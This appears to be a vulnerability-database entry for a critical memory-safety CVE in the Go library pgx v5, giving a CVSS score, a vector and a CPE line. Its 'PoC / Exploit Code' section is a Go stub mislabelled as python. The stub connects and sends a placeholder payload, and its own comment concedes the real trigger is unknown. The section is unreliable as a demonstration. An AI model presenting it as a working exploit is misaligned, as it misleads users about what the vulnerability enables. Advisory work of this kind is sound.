Memory-safety vulnerability in github.com/jackc/pgx/v5.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
cpe:2.3:a:jackc:pgx:*:*:*:*:*:go:*:* - VULNERABLE
jackc/pgx v5.x (具体受影响版本范围请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* PoC Concept for CVE-2026-33816
* This is a conceptual demonstration of triggering the memory safety issue.
* Note: Actual trigger payload requires reverse engineering the specific patch.
*/
package main
import (
"context"
"fmt"
"github.com/jackc/pgx/v5"
"time"
)
func main() {
// Target configuration
connStr := "postgres://user:pass@localhost:5432/dbname"
ctx := context.Background()
// Attempt connection
conn, err := pgx.Connect(ctx, connStr)
if err != nil {
fmt.Printf("Connection failed: %v\n", err)
return
}
defer conn.Close(ctx)
// Simulate sending a crafted/malicious packet or query
// that triggers the memory corruption in pgx v5.
maliciousInput := "\x00\x01\x02..." // Placeholder for specific payload
_, err = conn.Exec(ctx, maliciousInput)
if err != nil {
fmt.Printf("Exploitation attempt result: %v\n", err)
}
// If successful, the process may crash or result in RCE
time.Sleep(1 * time.Second)
}